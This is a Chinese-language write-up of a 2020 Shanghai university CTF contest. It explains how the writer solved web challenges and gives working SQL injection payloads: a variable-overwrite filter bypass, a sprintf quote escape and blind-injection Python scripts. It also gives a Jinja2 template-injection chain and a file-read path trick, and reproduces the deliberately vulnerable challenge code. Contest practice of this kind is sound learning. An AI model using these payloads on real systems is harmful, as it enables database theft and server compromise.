2020上海市大學生信息安全競賽


web

web刷的題目還是太少了,SQL注入和SSTI的一些常見姿勢,利用鏈都不知道,Orz

千毒網盤

掃描目錄可以發現網站備份,下載得源碼,進行代碼審計

首先發現了SQL語句,肯定要想到注入

發現有過濾,直接繞這個過濾語句肯定繞不過去(引號都過濾了orz),所以再看看別的點

發現在過濾語句下面可以進行變量覆蓋,后面參數為EXTR_SKIP,所以就不能覆蓋已有的變量

但是想要注入就必須在$_POST[‘code’]上下手,而$_POST變量在程序運行時會自動創建.

這時候看到最上面有個unset

如果能通過這個unset掉$_POST,再通過extract($_GET,EXTR_SKIP)得到一個​$_POST,這樣就繞過了過濾可以執行任意SQL語句了

經過測試,發現post參數test=123,cookie設置為_POST[test]=123可以成功unset($_POST)

其實也不難理解,在循環里面unset的時候,遇到cookie[]key=_POST的情況,然后再加$.變成$_POST,然后其value是傳進去的value,但是在比較的時候,$_POST就直接被看成全局變量,其值是POST的參數值

至於下面的限制,利用弱類型即可繞過

構造SQL語句

剩下的就是不加限制的注入了

比賽就做出這一道web,出題人的點還是很容易get到的.把題目拿到本地環境測試很重要,這題就是一點一點測出來的.

最后貼個題目代碼:

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>千毒網盤</title>
</head>
<body>
<div class="container">
<div class="page-header">
				<h1>
					千毒網盤 <small>提取你的文件</small>
				</h1>
			</div>
	<div class="row clearfix">
	<div class="col-md-4 column">
		</div>
		<div class="col-md-4 column">
			<br>
			<form role="form" action='/index.php' method="POST">
				<div class="form-group">
					 <h3>提取碼</h3><br><input class="form-control" name="code" />
				</div>
				<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
			</form> 
			<br>
			<?php
			include 'code.php';

			$pan = new Pan();

			foreach(array('_GET', '_POST', '_COOKIE') as $key)
			{   
				if(${$key}) {
					foreach($$key as $key_2 => $value_2) { 
						if(isset($$key_2) and $$key_2 == $value_2) 
							unset($$key_2); 
					}
				}
			}
			if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
			if($_GET) extract($_GET, EXTR_SKIP);
			if($_POST) extract($_POST, EXTR_SKIP);
			if(isset($_POST['code']))
			{
				$message = $pan->getfile();
				echo <<<EOF
				<div class="alert alert-dismissable alert-info">
				 <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
				<h4>
					注意!
				</h4> <strong>注意!</strong> {$message}
				</div>
EOF;
			}
			?>
		</div>
		<div class="col-md-4 column">
		</div>
	</div>
	</div>
</div>
</body>
</html>

code.php

<?php

class Pan
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);

        
    }

    public function filter($string) 
    {
        $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
        if($safe === 0){
            return $string;
        }else{
            return False;
        }
		    
    }

    public function getfile()
    {
        
        $code = $_POST['code'];

        if($code === False) return '非法提取碼!';
        $file_code = array(114514,233333,666666);
        
        if(in_array($code,$file_code))
        {
            $sql = "select * from file where code='$code'";
            $result = mysqli_query($this->mysqli,$sql);
            $result = mysqli_fetch_object($result);
            return '下載直鏈為:'.$result->url;
        }else{
            return '提取碼不存在!';
        }
        
    }

}

TryToLogin

這題學到的東西就比較多

讀文件姿勢

  1. ?file=/proc/self/cwd/index.php
  2. 先讀 etc/apache2/sites-available/000-default.conf

可以讀到網站路徑,然后再讀代碼

至於為什么只能絕對路徑,可能下面的代碼限制的

if(isset($_GET['file'])){
    if(preg_match('/flag/is', $_GET['file']) === 0){
        echo file_get_contents('/'.$_GET['file']); // 限制了根目錄
    }
}

sprintf

發現存在注入,但是有下面的過濾

這時候就考慮繞過addslashes(),比賽的時候想到的寬字節繞過,FUZZ了一下不行,就放棄了2333

完全沒注意下面還有個sprintf

public function filter() 
{
    $_POST['username'] = addslashes($_POST['username']);
    $_POST['password'] = addslashes($_POST['password']);
    $safe1 = preg_match('/inn|or/is', $_POST['username']);
    $safe2 = preg_match('/inn|or/is', $_POST['password']);
    if($safe1 === 0 and $safe2 === 0){
        return true;
    }else{
        die('No hacker!');
    }	    
}

public function login()
{
    $this->filter();
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from user where username='%s' and password='$password'";
    $sql = sprintf($sql,$username);
    //$username = %1$'=> %1$\'
    $result = mysqli_query($this->mysqli,$sql);
    $result = mysqli_fetch_object($result);
    if($result->id){
        return 1;
    }else{
        return 0;
    }

}

可以利用sprintf來逃逸'

深入解析sprintf格式化字符串漏洞: https://blog.csdn.net/weixin_41185953/article/details/80485075

如:

所以就可以構造password=%1$'xxxx來逃逸引號

又FUZZ出來了admin/123456 所以可以進行盲注.

bypass inn/or

但是過濾了inn|or 就沒法利用``information.xxx`

bypass information_schema: https://www.anquanke.com/post/id/193512

還有師傅wp是根據schema_table_statistics注入的,來自 Firebasky

https://blog.csdn.net/qq_46091464/article/details/109706976

exp:

%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#

附上師傅腳本:

# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1, 50):
  for j in range(34,127):
    data = {
      'username':'admin',
      'password':"%1$\\' || ascii(substr((select
group_concat(table_name) from sys.schema_table_statistics where
table_schema=database()),{},1))={}#".format(i,j)
   }
    print("password"+data['password'])
    rse = requests.post(url=url,data=data)
    #print rse.text
    if "Success!" in rse.text:
      flag = flag + chr(j)
      print(flag)
      break
    time.sleep(0.05)
print(flag)
#user fl4g
import requests
import string
url="http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/"
s=string.ascii_letters+string.digits+"{-_}"

flag=""
for i in range(1,50):
	print("******************")
	for j in s:
        #print(j)
        data={
	'username':'admin',
	'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))={1},1,0)-- +".format(i,ord(j))
			}
        print(data['password'])
		r=requests.post(url,data=data)
        if "Success" in  r.text:
			flag+=j
			print(flag)
			break

最后還是附上本題代碼:

  <?php
class user
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);
    }

    public function filter() 
    {
        $_POST['username'] = addslashes($_POST['username']);// %df => '=? %df\ '
        $_POST['password'] = addslashes($_POST['password']);
        $safe1 = preg_match('/inn|or/is', $_POST['username']);
        $safe2 = preg_match('/inn|or/is', $_POST['password']);
        if($safe1 === 0 and $safe2 === 0){
            return true;
        }else{
            die('No hacker!');
        }	    
    }

    public function login()
    {
        $this->filter();
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from user where username='%s' and password='$password'";
        $sql = sprintf($sql,$username);
        //%1$\'
        //$sql = "select * from user where username='%s' and password='123456'";
        //
        //$username = %1$'=> %1$\'
        $result = mysqli_query($this->mysqli,$sql);
        $result = mysqli_fetch_object($result);
        if($result->id){
            return 1;
        }else{
            return 0;
        }

    }

}

session_start();

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>EasyLogin</title>
</head>
<body>
<div class="container">
	<div class="row clearfix">
		<div class="col-md-12 column">
			<div class="tabbable" id="tabs-268153">
				<ul class="nav nav-tabs">
					<li class="active">
						 <a href="#panel-671062" data-toggle="tab">Home</a>
					</li>
				</ul>
			</div>
            <br>
            <br>
            <br><h2>Easy Login</h2>
            <br>
            <br>
            <br>
			<form role="form" action="index.php" method="POST">
				<div class="form-group">
					 <label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
				</div>
				<div class="form-group">
					 <label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
				</div>
                <button type="submit" class="btn btn-default">Submit</button>
            </form>
            <?php
            include 'class.php';

            if(isset($_GET['file'])){

                if(preg_match('/flag/is', $_GET['file']) === 0){
                    echo file_get_contents('/'.$_GET['file']);
                }
            }

            if(isset($_POST['password'])){
                $user = new user;
                $login = $user->login();
                if($login){
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-info">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        恭喜!
                                    </h4> <strong>Success!</strong>登錄成功了!
                                </div>
                            </div>
                        </div>
                    </div>
EOF;
                }else{
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-danger">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        注意!
                                    </h4> <strong>Wrong!</strong>用戶名或密碼錯誤!Need help?
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <!-- /?file=xxx 請使用絕對路徑-->
EOF;
                }

            }
            ?>
		</div>
	</div>
</div>
</body>
</html>		

Hello

可以直接讀源碼:

from flask import Flask,request,render_template
from jinja2 import Template
import os

app = Flask(__name__)

f = open('/flag','r')
flag = f.read()

@app.route('/',methods=['GET','POST'])
def home():
    name = request.args.get("name") or ""
    print(name)
    if name:
        return render_template('index.html',name=name)
    else:
        return render_template('index.html')    

@app.route('/help',methods=['GET'])
def help():
    help = '''
    '''
    return f.read()

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8888)

這個題目就遇到了一點坑,本地測試的時候發現接收不到數據request.data,比賽的時候就又放棄了

request.data獲得參數問題

Flask的request.form和request.data有什么區別?

當類型為application/x-www-form-urlencoded或者multipart/form-data是傳給
request.form,request.data沒有接到數據;如果是其他不能處理的類型就會給request.data

SSTI

很明顯下面的 t = Template(r + " Not found!")存在模板注入,但是又存在os.system('rm -f /flag'),不能直接讀文件.

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404

還是參考別的師傅的wp Firebasky的利用鏈,可以直接讀取flag變量

#-*-codeing = utf-8 -*-
#Firebasky
import requests
url = 'url'
for i in range(200):
  data="{%print [].__class__.__bases__[0].__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']['__import__']('__main__').flag %}"
  # print(data)
  res = requests.post(url=url,data=data)
  if "flag" in res.text:
    print(res.text)
    print("i=",i)
    break

misc

web狗第一次做misc

簽到

pcap analysis

就直接跟蹤65位長的TCP流,原理還是不太清楚.

pcap

過濾到dnp3協議

分析TCP流,發現下面的

然后發現全是91位的,過濾下,就可以按位讀flag

...

可樂加冰

圖片隱寫:

binwalk看一下

這里和https://wooyun.js.org/drops/%E9%9A%90%E5%86%99%E6%9C%AF%E6%80%BB%E7%BB%93.html中的0x04很像,直接提取出文件

可以用腳本提取出2AE6.zlib

得到

834636363695438346369595364383469595954383469595364383463636363643834636363695438346369595364383469595364334453443834636953636438346369536954383463636953643834636369543344534438346369595438346369536954383463636363643834636363643344534438346369595364383463695953643834636369543834695363643344534438346363695364383463695369543834636369536438346369595954383469595364383469536954383463636363643834636953643834636369543834695369543834636959543834636369536

然后轉換為字符:

S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$

很像JJEncode

S換成$=>$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$

再加上額外的固定首尾:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+替換這里+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\"")())();

解密即可

解密工具下載:https://github.com/l0nnnaruu/Decoder-JJEncode


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM